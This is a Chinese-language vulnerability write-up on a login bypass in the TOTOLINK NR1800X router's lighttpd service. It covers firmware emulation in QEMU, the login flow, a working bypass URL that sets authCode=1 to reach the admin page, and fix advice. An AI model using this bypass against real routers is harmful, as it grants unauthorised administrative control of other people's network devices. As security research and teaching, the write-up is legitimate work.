TOTOLINK_NR1800X绕过登录漏洞分析--lighttpd服务
字数 858 2025-08-22 12:23:25
TOTOLINK_NR1800X 绕过登录漏洞分析教学文档
1. 漏洞概述
本教学文档详细分析TOTOLINK NR1800X路由器中存在的登录验证绕过漏洞,该漏洞存在于lighttpd服务中,允许攻击者通过构造特定URL绕过认证机制直接访问后台管理界面。
2. 环境准备
2.1 固件获取
从官方下载固件:
https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/225/ids/36.html
2.2 固件分析环境搭建
用户态环境
- 使用chroot和qemu-mipsel模拟运行:
sudo chroot . ./qemu-mipsel-static ./usr/sbin/lighttpd
- 常见问题解决:
- 需要指定配置文件
- 创建缺失的pid文件:
/var/run/lighttpd.pid
系统态环境(推荐)
- 下载所需镜像:
wget https://people.debian.org/~aurel32/qemu/mipsel/debian_squeeze_mipsel_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta
- 网络配置:
sudo brctl addbr virbr0
sudo ifconfig virbr0 192.168.2.1/24 up
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.2.11/24 up
sudo brctl addif virbr0 tap0
- 启动QEMU虚拟机:
sudo qemu-system-mipsel -M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_squeeze_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" -nographic \
-net nic -net tap,ifname=tap0,script=no,downscript=no
- 文件传输到虚拟机:
sudo scp -o HostKeyAlgorithms=+ssh-rsa -r squashfs-root/ root@172.26.71.12:/root/
- 在虚拟机中启动环境:
chroot ./squashfs-root/ /bin/sh
3. 漏洞分析
3.1 正常登录流程分析
- 登录请求示例:
POST /cgi-bin/cstecgi.cgi?action=login HTTP/1.1
Host: 192.168.2.12
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
username=admin&password=55555
- 正常响应:
HTTP/1.1 302 Found
Location: http://192.168.2.12/formLoginAuth.htm?authCode=0&userName=&goURL=login.html&action=login
关键点:
authCode=0表示登录失败userName=为空表示未认证
3.2 关键函数分析
- 程序执行流:
- 请求首先由
cgi-bin/cstecgi.cgi处理 - 调用
sub_42AEEC函数(通过off_44C074指针)
- 认证机制:
authCode参数控制认证状态goURL参数指定跳转页面userName参数指定用户名
3.3 漏洞利用方法
构造以下URL可直接绕过认证:
http://192.168.2.12/formLoginAuth.htm?authCode=1&userName=admin&password=aaa&goURL=home.html&action=login
关键参数说明:
authCode=1:强制设置为认证成功状态userName=admin:设置管理员用户名goURL=home.html:直接跳转到后台主页
4. 漏洞验证
- 直接访问构造的URL
- 检查是否获得有效SESSION_ID
- 验证能否访问后台管理功能
5. 修复建议
- 服务器端应严格验证
authCode参数,不应接受客户端直接设置 - 实现完整的会话管理机制,不依赖URL参数进行认证
- 对
formLoginAuth.htm页面增加权限验证
6. 总结
该漏洞源于认证机制设计缺陷,通过直接修改URL参数即可绕过认证。开发人员应避免将关键认证状态暴露给客户端控制,所有认证决策应在服务器端完成。